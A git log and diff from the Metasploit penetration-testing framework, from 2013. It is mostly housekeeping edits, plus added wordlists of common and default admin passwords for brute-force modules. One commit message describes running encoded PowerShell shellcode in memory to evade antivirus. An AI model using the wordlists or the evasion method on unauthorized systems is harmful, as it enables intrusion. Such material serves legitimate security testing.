jvazquez-r7 dc94816650 Merge branch 'master' of https://github.com/dougsko/metasploit-framework 2013-03-14 22:53:03 +01:00
jvazquez-r7 7c9acda73a Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-14 22:52:49 +01:00
jvazquez-r7 e21288481d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-14 16:36:04 +01:00
jvazquez-r7 3eb4505f6f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-14 16:01:40 +01:00
jvazquez-r7 d3a78db77a Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-14 14:12:11 +01:00
jvazquez-r7 2d99b949a2 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-13 09:36:35 +01:00
jvazquez-r7 04c54306c4 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-03-12 19:36:39 +01:00
jvazquez-r7 29fff62869 up to date 2013-03-12 18:29:53 +01:00
jvazquez-r7 fea95048d8 Merge branch 'webacoo-backdoor-rce' of https://github.com/infodox/metasploit-framework 2013-03-12 17:05:17 +01:00
jvazquez-r7 91fbeda062 up to date 2013-03-12 17:04:27 +01:00
jvazquez-r7 6055438476 up to date 2013-03-12 17:04:27 +01:00
jvazquez-r7 c151d867dc up to date 2013-03-12 17:04:27 +01:00
jvazquez-r7 6603dcd652 up to date 2013-03-12 17:04:13 +01:00
jvazquez-r7 ee98f28017 up to date 2013-03-12 16:58:48 +01:00
jvazquez-r7 5a70314f55 up to date 2013-03-12 16:57:48 +01:00
jvazquez-r7 15742c49cb up to date 2013-03-12 16:57:48 +01:00
Patrick Webster 5312c58c72 Added BID for ms09_002_memory_corruption. 2013-03-12 16:57:47 +01:00
Patrick Webster 56bb907f9f Fixed exceptions in ms05_054_onload exploit module. 2013-03-12 16:57:47 +01:00
Patrick Webster 1c3aa97bf8 Added Lotus Protector exploit module. 2013-03-12 16:57:47 +01:00
jvazquez-r7 1331952515 up to date 2013-03-12 16:55:06 +01:00
jvazquez-r7 6bd995f37e up to date 2013-03-12 16:53:37 +01:00
jvazquez-r7 9891650c30 up to date 2013-03-12 16:51:00 +01:00
jvazquez-r7 8f9c4f62c8 up to date 2013-03-12 16:50:45 +01:00
jvazquez-r7 b498bf9b71 up to date 2013-03-12 16:50:35 +01:00
jvazquez-r7 74b58185cd up to date 2013-03-12 16:48:11 +01:00
RageLtMan 1336c835ff Implement Egypt's suggestions
Delete_site input is now validated with =~ /^[0-9]*$/.
Help instructions written in English.
2013-03-11 18:40:14 -04:00
RageLtMan a60a4e518a clean up multi delete 2013-03-10 23:55:15 -04:00
RageLtMan 21190cd864 Allow deletion of multiple sites 2013-03-10 20:47:05 -04:00
Darren Martyn 73717f1522 Added webacoo code execution module 2013-03-09 19:12:22 +00:00
RageLtMan 92ef462c34 This commit completes powershell based psexec
The original module suffered from a small problem - interactive
process notification from Desktop 0 for users currently logged in.
Although acheiving full AV evasion, we were setting off UserAlert.
This commit updates the module itself to match #1379 in R7's repo.
The size of powershell payloads has been reduced, and a wrapper
added to hide the actual payload process entirely.
2013-02-04 20:39:05 -05:00
RageLtMan 6ba85d4c06 add libs from #1379 and allow psh 1.0 exec against older hosts 2013-01-30 12:38:53 -05:00
RageLtMan 61cd3b55fc hide window 2013-01-24 14:43:07 -05:00
RageLtMan e6ebf772de allow psh to run in background via cmd start 2013-01-21 08:12:56 -05:00
RageLtMan 43a5322bd4 psexec_psh cleanup 2013-01-20 22:15:55 -05:00
RageLtMan cae0362aa3 Add disk-less AV bypass PSExec module using PSH
This commit rewires the existing work on PSExec performed by R3dy,
HDM, and countless others, to execute a powershell command instead
of a binary written to the disk. This particular iteration uses
PSH to call .NET, which pull in WINAPI functions to execute the
shellcode in memory. The entire PSH script is compressed with ZLIB,
given a decompressor stub, encoded in base64 and executed directly
from the command-line with powershell -EncodedCommand.

In practice, this prevents us from having to write binaries with
shellcode to the target drive, deal with removal, or AV detection
at all. Moreover, the powershell wrapper can be quickly modified
to loop execution (included), or perform other obfu/delay in order
to confuse and evade sandboxing and other HIDS mechanisms.

This module has been tested with x86/x64 reverse TCP against win6,
win7 (32 and 64), and Server 2008r2. Targets tested were using
current AV with heuristic analysis and high identification rates.
In particular, this system evaded Avast, KAV current, and MS' own
offerings without any issue. In fact, none of the tested AVs did
anything to prevent execution or warn the user.

Lastly, please note that powershell must be running in the same
architecture as the payload being executed, since it pulls system
libraries and their functions from unmanaged memory. This means
that when executing x86 payloads on x64 targets, one must set the
RUN_WOW64 flag in order to forcibly execute the 32bit PSH EXE.
2013-01-20 21:46:26 -05:00
Tod Beardsley 8cd7c2783e Indentation fixes 2012-12-28 14:36:06 -06:00
Tod Beardsley 7a0a230e92 Put the coding: binary magic comment back 2012-12-28 14:16:56 -06:00
Tod Beardsley 4002759fcf Bring some sanity to the Array#packs 2012-12-28 14:16:08 -06:00
Daniele Martini dcae55e348 Give auth_brute ability to try credentials stored in db
Added two options:
DB_USER_PASS: this will try each user/pass couple stored in the db
DB_ADD_ALL: this will add each user and password to the lists.
By setting this to true, auth_brute will try every user with
every known password.
2012-12-28 18:55:05 +01:00
nmonkee 937e49378c Syntax fix
Doh, missed one.
2012-11-22 09:57:08 +00:00
nmonkee 79c0507077 Fix syntax errors 2012-11-22 09:43:16 +00:00
nmonkee 088d20c5a9 Made requested changes 2012-11-22 09:28:50 +00:00
nmonkee f04dc587b6 made requested changes 2012-11-15 00:13:06 +00:00
nmonkee bdbf6ea9bb SAP NI Proxy Support (SAProuter) - see http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows 2012-11-06 21:16:32 +00:00
3744 changed files with 30702 additions and 450407 deletions
+4
View File
@@ -1,6 +1,8 @@
.bundle
# Rubymine project directory
.idea
# Sublime Text project directory (not created by ST by default)
.sublime-project
# Portable ruby version files for rvm
.ruby-gemset
.ruby-version
@@ -40,3 +42,5 @@ tags
*.orig
*.rej
*~
# Ignore backups of retabbed files
*.notab
+2
View File
@@ -27,6 +27,8 @@ wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
+2 -2
View File
@@ -11,7 +11,7 @@ are permitted provided that the following conditions are met:
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors
* Neither the name of Rapid7, Inc. nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
@@ -30,7 +30,7 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The Metasploit Framework is provided under the 3-clause BSD license above.
The copyright on this package is held by Rapid7 LLC.
The copyright on this package is held by Rapid7, Inc.
This license does not apply to several components within the Metasploit
Framework source tree. For more details see the LICENSE file.
+4 -1
View File
@@ -10,17 +10,20 @@ gem 'msgpack'
gem 'nokogiri'
# Needed by anemone crawler
gem 'robots'
# Needed by db.rb and Msf::Exploit::Capture
gem 'packetfu', '1.1.8'
group :db do
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.15.1'
gem 'metasploit_data_models', '~> 0.16.6'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
group :pcap do
gem 'network_interface', '~> 0.0.1'
# For sniffer and raw socket modules
gem 'pcaprub'
end
+6 -2
View File
@@ -23,7 +23,7 @@ GEM
i18n (0.6.1)
json (1.7.7)
metaclass (0.0.1)
metasploit_data_models (0.15.1)
metasploit_data_models (0.16.6)
activerecord (>= 3.2.13)
activesupport
pg
@@ -31,7 +31,9 @@ GEM
metaclass (~> 0.0.1)
msgpack (0.5.4)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.5.9)
packetfu (1.1.8)
pcaprub (0.11.3)
pg (0.15.1)
rake (10.0.4)
@@ -65,9 +67,11 @@ DEPENDENCIES
database_cleaner
factory_girl (>= 4.1.0)
json
metasploit_data_models (~> 0.15.1)
metasploit_data_models (~> 0.16.6)
msgpack
network_interface (~> 0.0.1)
nokogiri
packetfu (= 1.1.8)
pcaprub
pg (>= 0.11)
rake
+4 -3
View File
@@ -37,9 +37,10 @@ need user input, you can either register an option or expose an
interactive session type specific for the type of exploit.
3. Don't use "sleep". It has been known to cause issues with
multi-threaded programs on various platforms. Instead, we use
"select(nil, nil, nil, <time>)" throughout the framework. We have
found this works around the underlying issue.
multi-threaded programs on various platforms running an older version of
Ruby such as 1.8. Instead, we use "select(nil, nil, nil, <time>)" or
Rex.sleep() throughout the framework. We have found this works around
the underlying issue.
4. Always use Rex sockets, not ruby sockets. This includes
third-party libraries such as Net::Http. There are several very good
+1 -1
View File
@@ -47,7 +47,7 @@ pull request. For slightly more info, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
[unleashed]: http://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
com.sun.script.javascript.RhinoScriptEngine
@@ -0,0 +1,2 @@
FakeDriver
FakeDriver2
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1024
View File
@@ -0,0 +1,1024 @@
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
superman
harley
1234567
fuckme
hunter
fuckyou
trustno1
ranger
buster
thomas
tigger
robert
soccer
fuck
batman
test
pass
killer
hockey
george
charlie
andrew
michelle
love
sunshine
jessica
asshole
6969
pepper
daniel
access
123456789
654321
joshua
maggie
starwars
silver
william
dallas
yankees
123123
ashley
666666
hello
amanda
orange
biteme
freedom
computer
sexy
thunder
nicole
ginger
heather
hammer
summer
corvette
taylor
fucker
austin
1111
merlin
matthew
121212
golfer
cheese
princess
martin
chelsea
patrick
richard
diamond
yellow
bigdog
secret
asdfgh
sparky
cowboy
camaro
anthony
matrix
falcon
iloveyou
bailey
guitar
jackson
purple
scooter
phoenix
aaaaaa
morgan
tigers
porsche
mickey
maverick
cookie
nascar
peanut
justin
131313
money
horny
samantha
panties
steelers
joseph
snoopy
boomer
whatever
iceman
smokey
gateway
dakota
cowboys
eagles
chicken
dick
black
zxcvbn
please
andrea
ferrari
knight
hardcore
melissa
compaq
coffee
booboo
bitch
johnny
bulldog
xxxxxx
welcome
james
player
ncc1701
wizard
scooby
charles
junior
internet
bigdick
mike
brandy
tennis
blowjob
banana
monster
spider
lakers
miller
rabbit
enter
mercedes
brandon
steven
fender
john
yamaha
diablo
chris
boston
tiger
marine
chicago
rangers
gandalf
winter
bigtits
barney
edward
raiders
porn
badboy
blowme
spanky
bigdaddy
johnson
chester
london
midnight
blue
fishing
000000
hannah
slayer
11111111
rachel
sexsex
redsox
thx1138
asdf
marlboro
panther
zxcvbnm
arsenal
oliver
qazwsx
mother
victoria
7777777
jasper
angel
david
winner
crystal
golden
butthead
viking
jack
iwantu
shannon
murphy
angels
prince
cameron
girls
madison
wilson
carlos
hooters
willie
startrek
captain
maddog
jasmine
butter
booger
angela
golf
lauren
rocket
tiffany
theman
dennis
liverpoo
flower
forever
green
jackie
muffin
turtle
sophie
danielle
redskins
toyota
jason
sierra
winston
debbie
giants
packers
newyork
jeremy
casper
bubba
112233
sandra
lovers
mountain
united
cooper
driver
tucker
helpme
fucking
pookie
lucky
maxwell
8675309
bear
suckit
gators
5150
222222
shithead
fuckoff
jaguar
monica
fred
happy
hotdog
tits
gemini
lover
xxxxxxxx
777777
canada
nathan
victor
florida
88888888
nicholas
rosebud
metallic
doctor
trouble
success
stupid
tomcat
warrior
peaches
apples
fish
qwertyui
magic
buddy
dolphins
rainbow
gunner
987654
freddy
alexis
braves
cock
2112
1212
cocacola
xavier
dolphin
testing
bond007
member
calvin
voodoo
7777
samson
alex
apollo
fire
tester
walter
beavis
voyager
peter
porno
bonnie
rush2112
beer
apple
scorpio
jonathan
skippy
sydney
scott
red123
power
gordon
travis
beaver
star
jackass
flyers
boobs
232323
zzzzzz
steve
rebecca
scorpion
doggie
legend
ou812
yankee
blazer
bill
runner
birdie
bitches
555555
parker
topgun
asdfasdf
heaven
viper
animal
2222
bigboy
4444
arthur
baby
private
godzilla
donald
williams
lifehack
phantom
dave
rock
august
sammy
cool
brian
platinum
jake
bronco
paul
mark
frank
heka6w2
copper
billy
cumshot
garfield
willow
cunt
little
carter
slut
albert
69696969
kitten
super
jordan23
eagle1
shelby
america
11111
jessie
house
free
123321
chevy
bullshit
white
broncos
horney
surfer
nissan
999999
saturn
airborne
elephant
marvin
shit
action
adidas
qwert
kevin
1313
explorer
walker
police
christin
december
benjamin
wolf
sweet
therock
king
online
dickhead
brooklyn
teresa
cricket
sharon
dexter
racing
penis
gregory
0000
teens
redwings
dreams
michigan
hentai
magnum
87654321
nothing
donkey
trinity
digital
333333
stella
cartman
guinness
123abc
speedy
buffalo
kitty
pimpin
eagle
einstein
kelly
nelson
nirvana
vampire
xxxx
playboy
louise
pumpkin
snowball
test123
girl
sucker
mexico
beatles
fantasy
ford
gibson
celtic
marcus
cherry
cassie
888888
natasha
sniper
chance
genesis
hotrod
reddog
alexande
college
jester
passw0rd
bigcock
smith
lasvegas
carmen
slipknot
3333
death
kimberly
1q2w3e
eclipse
1q2w3e4r
stanley
samuel
drummer
homer
montana
music
aaaa
spencer
jimmy
carolina
colorado
creative
hello1
rocky
goober
friday
bollocks
scotty
abcdef
bubbles
hawaii
fluffy
mine
stephen
horses
thumper
5555
pussies
darkness
asdfghjk
pamela
boobies
buddha
vanessa
sandman
naughty
douglas
honda
matt
azerty
6666
shorty
money1
beach
loveme
4321
simple
poohbear
444444
badass
destiny
sarah
denise
vikings
lizard
melanie
assman
sabrina
nintendo
water
good
howard
time
123qwe
november
xxxxx
october
leather
bastard
young
101010
extreme
hard
password1
vincent
pussy1
lacrosse
hotmail
spooky
amateur
alaska
badger
paradise
maryjane
poop
crazy
mozart
video
russell
vagina
spitfire
anderson
norman
eric
cherokee
cougar
barbara
long
420420
family
horse
enigma
allison
raider
brazil
blonde
jones
55555
dude
drowssap
jeff
school
marshall
lovely
1qaz2wsx
jeffrey
caroline
franklin
booty
molly
snickers
leslie
nipples
courtney
diesel
rocks
eminem
westside
suzuki
daddy
passion
hummer
ladies
zachary
frankie
elvis
reggie
alpha
suckme
simpson
patricia
147147
pirate
tommy
semperfi
jupiter
redrum
freeuser
wanker
stinky
ducati
paris
natalie
babygirl
bishop
windows
spirit
pantera
monday
patches
brutus
houston
smooth
penguin
marley
forest
cream
212121
flash
maximus
nipple
bobby
bradley
vision
pokemon
champion
fireman
indian
softball
picard
system
clinton
cobra
enjoy
lucky1
claire
claudia
boogie
timothy
marines
security
dirty
admin
wildcats
pimp
dancer
hardon
veronica
fucked
abcd1234
abcdefg
ironman
wolverin
remember
great
freepass
bigred
squirt
justice
francis
hobbes
kermit
pearljam
mercury
domino
9999
denver
brooke
rascal
hitman
mistress
simon
tony
bbbbbb
friend
peekaboo
naked
budlight
electric
sluts
stargate
saints
bondage
brittany
bigman
zombie
swimming
duke
qwerty1
babes
scotland
disney
rooster
brenda
mookie
swordfis
candy
duncan
olivia
hunting
blink182
alicia
8888
samsung
bubba1
whore
virginia
general
passport
aaaaaaaa
erotic
liberty
arizona
jesus
abcd
newport
skipper
rolltide
balls
happy1
galore
christ
weasel
242424
wombat
digger
classic
bulldogs
poopoo
accord
popcorn
turkey
jenny
amber
bunny
mouse
007007
titanic
liverpool
dreamer
everton
friends
chevelle
carrie
gabriel
psycho
nemesis
burton
pontiac
connor
eatme
lickme
roland
cumming
mitchell
ireland
lincoln
arnold
spiderma
patriots
goblue
devils
eugene
empire
asdfg
cardinal
brown
shaggy
froggy
qwer
kawasaki
kodiak
people
phpbb
light
54321
kramer
chopper
hooker
honey
whynot
lesbian
lisa
baxter
adam
snake
teen
ncc1701d
qqqqqq
airplane
britney
avalon
sandy
sugar
sublime
stewart
wildcat
raven
scarface
elizabet
123654
trucks
wolfpack
pervert
lawrence
raymond
redhead
american
alyssa
bambam
movie
woody
shaved
snowman
tiger1
chicks
raptor
1969
stingray
shooter
france
stars
madmax
kristen
sports
jerry
789456
garcia
simpsons
lights
ryan
looking
chronic
alison
hahaha
packard
hendrix
perfect
service
spring
srinivas
spike
katie
252525
oscar
brother
bigmac
suck
single
cannon
georgia
popeye
tattoo
texas
party
bullet
taurus
sailor
wolves
panthers
japan
strike
flowers
pussycat
chris1
loverboy
berlin
sticky
marina
tarheels
fisher
russia
connie
wolfgang
testtest
mature
bass
catch22
juice
michael1
nigger
159753
women
alpha1
trooper
hawkeye
head
freaky
dodgers
pakistan
machine
pyramid
vegeta
katana
moose
tinker
coyote
infinity
inside
pepsi
letmein1
bang
control
hercules
morris
james1
tickle
outlaw
browns
billybob
pickle
test1
michele
antonio
sucks
pavilion
changeme
caesar
prelude
tanner
adrian
darkside
bowling
wutang
sunset
robbie
alabama
+500
View File
@@ -0,0 +1,500 @@
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
superman
harley
1234567
fuckme
hunter
fuckyou
trustno1
ranger
buster
thomas
tigger
robert
soccer
fuck
batman
test
pass
killer
hockey
george
charlie
andrew
michelle
love
sunshine
jessica
asshole
6969
pepper
daniel
access
123456789
654321
joshua
maggie
starwars
silver
william
dallas
yankees
123123
ashley
666666
hello
amanda
orange
biteme
freedom
computer
sexy
thunder
nicole
ginger
heather
hammer
summer
corvette
taylor
fucker
austin
1111
merlin
matthew
121212
golfer
cheese
princess
martin
chelsea
patrick
richard
diamond
yellow
bigdog
secret
asdfgh
sparky
cowboy
camaro
anthony
matrix
falcon
iloveyou
bailey
guitar
jackson
purple
scooter
phoenix
aaaaaa
morgan
tigers
porsche
mickey
maverick
cookie
nascar
peanut
justin
131313
money
horny
samantha
panties
steelers
joseph
snoopy
boomer
whatever
iceman
smokey
gateway
dakota
cowboys
eagles
chicken
dick
black
zxcvbn
please
andrea
ferrari
knight
hardcore
melissa
compaq
coffee
booboo
bitch
johnny
bulldog
xxxxxx
welcome
james
player
ncc1701
wizard
scooby
charles
junior
internet
bigdick
mike
brandy
tennis
blowjob
banana
monster
spider
lakers
miller
rabbit
enter
mercedes
brandon
steven
fender
john
yamaha
diablo
chris
boston
tiger
marine
chicago
rangers
gandalf
winter
bigtits
barney
edward
raiders
porn
badboy
blowme
spanky
bigdaddy
johnson
chester
london
midnight
blue
fishing
000000
hannah
slayer
11111111
rachel
sexsex
redsox
thx1138
asdf
marlboro
panther
zxcvbnm
arsenal
oliver
qazwsx
mother
victoria
7777777
jasper
angel
david
winner
crystal
golden
butthead
viking
jack
iwantu
shannon
murphy
angels
prince
cameron
girls
madison
wilson
carlos
hooters
willie
startrek
captain
maddog
jasmine
butter
booger
angela
golf
lauren
rocket
tiffany
theman
dennis
liverpoo
flower
forever
green
jackie
muffin
turtle
sophie
danielle
redskins
toyota
jason
sierra
winston
debbie
giants
packers
newyork
jeremy
casper
bubba
112233
sandra
lovers
mountain
united
cooper
driver
tucker
helpme
fucking
pookie
lucky
maxwell
8675309
bear
suckit
gators
5150
222222
shithead
fuckoff
jaguar
monica
fred
happy
hotdog
tits
gemini
lover
xxxxxxxx
777777
canada
nathan
victor
florida
88888888
nicholas
rosebud
metallic
doctor
trouble
success
stupid
tomcat
warrior
peaches
apples
fish
qwertyui
magic
buddy
dolphins
rainbow
gunner
987654
freddy
alexis
braves
cock
2112
1212
cocacola
xavier
dolphin
testing
bond007
member
calvin
voodoo
7777
samson
alex
apollo
fire
tester
walter
beavis
voyager
peter
porno
bonnie
rush2112
beer
apple
scorpio
jonathan
skippy
sydney
scott
red123
power
gordon
travis
beaver
star
jackass
flyers
boobs
232323
zzzzzz
steve
rebecca
scorpion
doggie
legend
ou812
yankee
blazer
bill
runner
birdie
bitches
555555
parker
topgun
asdfasdf
heaven
viper
animal
2222
bigboy
4444
arthur
baby
private
godzilla
donald
williams
lifehack
phantom
dave
rock
august
sammy
cool
brian
platinum
jake
bronco
paul
mark
frank
heka6w2
copper
billy
cumshot
garfield
willow
cunt
little
carter
slut
albert
69696969
kitten
super
jordan23
eagle1
shelby
america
11111
jessie
house
free
123321
chevy
bullshit
white
broncos
horney
surfer
nissan
999999
saturn
airborne
elephant
marvin
shit
action
adidas
qwert
kevin
1313
explorer
walker
police
christin
december
benjamin
wolf
sweet
therock
king
online
dickhead
brooklyn
teresa
cricket
sharon
dexter
racing
penis
gregory
0000
teens
redwings
dreams
michigan
hentai
magnum
87654321
nothing
donkey
trinity
digital
333333
stella
cartman
guinness
123abc
speedy
buffalo
+1000
View File
@@ -0,0 +1,1000 @@
ADMIN
admin
calvin
PASSW0RD
root
superuser
computer1
changeme
4rfv$RFV
password
asdlkj
123456
xupamisto
Letmein2
1q2w3e4r
111111
zero2hero
admin123
Flamenco
birdshit
237723
gandalf6
wanmei
maria1988
angel2000
1qaz2wsx
4rfvbhu8
adminadmin
bmw12345
letmein2
P@ssw0rd
12qw!@QW
12345678
monkeybutt
security
letmein1
aztech
Password1
calvin22
123456789
12345
t1m3l0rd
p@ssw0rd
amilopro
zaq1xsw2
z0x9c8v7
albatros
!QAZ2wsx
freedumb1
face2face
antibiotico
nopermission
imperial
administrator
Winston1
123qwe
odiotodo
get2it
evilpenguin
zodiac666
debugs
changemes
asdf1234
Administrator
test123
test
sun12345
siemens123
hpinvent
goethe
compaq
cisco
butt
brian0711
bobthebuilder
a12345678
1234
123
ncc1701d
fresher
Nemesis1
012012
Welcome123
Tokyo1
123qweASD
funshion
doris321
vfnmdfie
redhat
netnet
letmein
kalimera
carpediem
blabla12
blabla
bios
augmentin
apa123
admin1234
abcd1234
Parasol1
23skidoo
john2008
ipax
angusyoung
Aloysius
1qaz@WSX
winston
wibbles
toor
taco66
soccer1
root123
pandemonium
orpheus
lifeline
bohemia
admini
abc123
Welcome0
vitesse
supergeil
secure123
qwerty
poepchinees
mackousko
level10
leoleo
kuku
junker
ilovetessa
f4g5h6j7
dropship
bynthc
barbusse
aristoteles
apollo11
a13a13
RUPRECHT
P4ssw0rd
1q2w3e4r5t
14111982
1234ABCD
112233
tanglefoot
progr3ss
omneon
cheng1234
x
winston1
welcome1
usulll
topsecret
test1234
savanna
rootroot
qweQWE123
qazwsx123
q1w2e3r4
q1q1q1
prepaid
pokemon!
poi098
pepsi2008
parmesan
not4u2c
magex
johnny50
hongkong
freedom
flapjack
dikdik
cherokee
callofduty
benitocameloo
babyface
asdfhjkl
asdewq
abcdef3
Welcome1
P@$$w0rd
Hamster
Dragonsoul
Avalanche
1997
1548644
125401
123zxc123
123qweasdzxc
123qwe!@#
11111111
111
04051995
scifix
q3kze7q
password201
m45t3rm1nd
jander1
blackonblack
!Q2w#E4r
ytrewq
xxxxxx
xpsm1210
xerox
wombat
weblink
toptop
tmp123
tester
t0m&j3rry
spike04
siempre!
shuriken
secret
saynomore
rotrot
ringer
richard#1
razor
qwert
qazwsx
parolamea
oceans11
nova21
nopass
nitram
nas123
mujama
megatron
maxima
master
liquidtension
linkin123
letmesee
langke
l0v3m3
klimis
kane
kalvin
kailro
k4hvdq9tj9
jack1998
itsasecret
inverter
hobbs
happyhippo
hannover96
gravis
gizmo
fubar
foobar
foo123
flying
flyboy
enter123321
enter123
doruk
dimdim
delta
credu
cisco123
changeme123
carol
blubje
bigred23
ardrossan
apple
an0th3r
adoado
access
ZAQ!2wsx
Reptile1
Qwerty123
Password@1
Password123
Password#1
Pass1234
P@ssword
Haemorrhage
8253
56565656
2bornot2b
2718281828
22
2071184
1qa@WS3ed
159357**
131313
123123
121212
11112222
10111011
zzzz
yuiop
xxxxxxxx
windows7
west123
wave123
vivivi
vitaly
ventilator
vatten
valentino
totototo
tornado@
titkos
time_out
testtest
test1
temp12345
tagada
system1
sysadmin
stanley
sofuck
snickers
skywalker
simonb
shin
semmi
sasman
samsun
salope
salamander
rutabaga
rosedale
ronson
rollerblade
revision
qwerty7
qwerty12
qscwdv
qazxswedc123
proba123
powerpower
powder1
poloppolop
plopplop
penelope
pathology
passw0rd
pass123
offshore
nerdnerd
mirrormirror
mi
mercedes
loran123
lopata
lol
lofasz
lenor
lalala
kingswood
keystone
karmal
kakala
juliette
icecream
huawei
helson
hello123
he
grouper
gravity
gfhjkm
fernandes
faszom
fastweb
extazy
exploit
easy123
dweeble
deneme
cy
ciang
changeme1
catfish
cardinal
calvin1
calliope
brother
bomba
blizzard
blahblah
bier
asdasd
asd
aq12wsxz
apricot
airlines
abusive
abra
Windows1
Un1verse
Root123
ROOT
Qwerty1!
Password
PASSWORD
P@ssw0rd!
OEM
Newpass1
Letmein1
KNIGHT
Israel123
Crystal0!
Christmas
Chester1
COMPAQ
CALVIN
963258
88888888
6213744
584620
2468369
225225
201036
2010
1q2w3e
198624
146890
130590
123258
082208
012465
zse4rfv
zmalqp10
zazazaza
zaxscdvf
zaqwsxcde
zaq1@WSX
yellow22
yellow123
yakiniku
yabadabadoo
xitgmLwmp
xinmen
xdr56tfc
whitebird
waterfire12
wachtwoord
w8w00rd
w00tw00t
virginia11
vince123
viewmaster
vatefairefoutre
united99
united123
tunix
triangulation
tj1234
tiger123
throwaway
three4me
thisisapassword1
testbed
temppass
temp1234
temp11
telefone
tdvcth
tarantula1
taki
system32
strasburg
start123
sofresh
setmefree
seekanddestroy
secure6
root4
roman123
riobravo
rikitiki
reformation
rayong1234
randy007
qwertz123
qwerty77
qwerty123
qwerty09
qwert12345
qweqweqwe
qweasd123
qwe123!@#
qwe123
qwas12
quepasa
qq123456
qazzxc
qazxsw2
qazwsx123456
qaz123
q1q2q3q4
q1q1q1q1
primat
powermax
plokijuh
pizza42
pieceofshit
picus
phoenix602
peter123
password55
password209
passw0rd1
passion12
pantera69
pa$$word
pa$$w0rd
p3t3rpan
opengate
ontology
omgomg123
number66
nottelling
nike2008
n0d0ubt1
mwmwmw
mvemjsunp
mustang70
munchkin10
muffinman
mikeiscool
megabit
mar1jane
mama1234
mainstreet
madman18
luke1993
ludacris
lsxol
lord1234
lolipop2
localadmin
letmeout
lemon123
l8rsk8r
kusakusa
krakonos
km123456
kingofthehill
kenzan
keepout123
karkulka
kalap
k123
ji394su3
jackson88
integra99
integra18
indonesiaraya
ictel
iamthebest
hyperdrive
humppa
howard03
hero777
hashimoto
hasan12345
hanseatic
hallo123
hallo12
grapenuts
gorefest
goldstar
godblessyou
getoutofhere
genius123
gbpltw
freetown1
freedom35
fotos1
florida69
fischer123
fire1818
figarofigaro
ficken2000
f18hornet
f00b4r
eragon1
easyway
dvnstw
duffy123
dtvbhx
dropzone
dennis96
d3ft0n3s
d1ngd0ng
d0dger
d00rmat
cydvb
csigabiga
crew10
crashbandicoot
consults
collins123
cisko
ciscocisco
chile62
check123
ch4ng3m3
cdvcdv
catinthehat
carla123
calvin99
calvin!
calv1n
calamar
bubububu
bublik
bluespot
black321
bla123
bigbuddy
banane1
athlon64
atacan
aspirine
asdQWE123
asd123qwe
anakonda
alpargata
alarcon
ajlesd
admint
adminpass
admin1121
admin01
admin001
abrakadabra
abcd-1234
abc123!!
abc#123
a1b2c3d4e5f6
a1b2c3d4e5
a123456
a11b12c13
Zaq1xsw2
Und3rGr0und
TrustNo1
Test1234
Super123
Summer12
Silicon1
Runaway1
Republic1
Qwer!234
P@ssword123
P@55w0rd
P@$$word
P@$$w0rD
Operator
MKO)9ijn
Lasvegas1
Insecure
Impatiens
INTERNAT
Crocodile1
Boromir1
Berman
Asdfg123
Asd123
@WSX1qaz
874365
832531
735841
6922374
666001
570912
545981
43046721
3stones
38483848
311147
2brnot2b
29082908
23041979
22242224
222101
22071979
21101981
20742074
20572057
20552055
20132013
20112011
1qsx2waz
1qazxsw2
1qazxcvb
1qaz2wsx3edc
1qaz0okm
1qaz!QAZ
1q2w3e4r5t6y
1q2w3e4r..
1keeper
1a2s3d4f
19511951
19501950
19491949
187cop
17841784
17201720
17161716
159753456
147896325
146688
1456
12qwaszx
12qw34er
123qwerty
123mudar
1234qwer!
1234Qwer
1234567890qwertyuiop
123454321
123412345
123.com
12201220
12121212
1111aa
1020304050
10144
10143
10135
10118
10101010
0okmnji9
06061977
*password
!qaz@wsx
!Q2w3e4r
!1qwerty
zxcpoi123
zero0zero
zaq1xsw2cde3
yyl
yes90125
xyuxyu
xunlei
xiazhi
woelco
wjltnt
wipro123
wendimia
weeslz
warpdrive
voip123
vlis
vishal123
vienna88
vienna12
venigo
ucsucs
tuff1234
triptrap
testpass
test100
term1nat0r
t00tt00t
sysu
sy123456
superstart
sunvision
sunsh1ne!
stay-off
state119
stark123
squ1rrel
spacemonkeys
sosict
somtik
skysky21
shineonyou
shakyamuni
sclg
sanayounes
samsung34
sallasana
s3cur3d
runder
round123
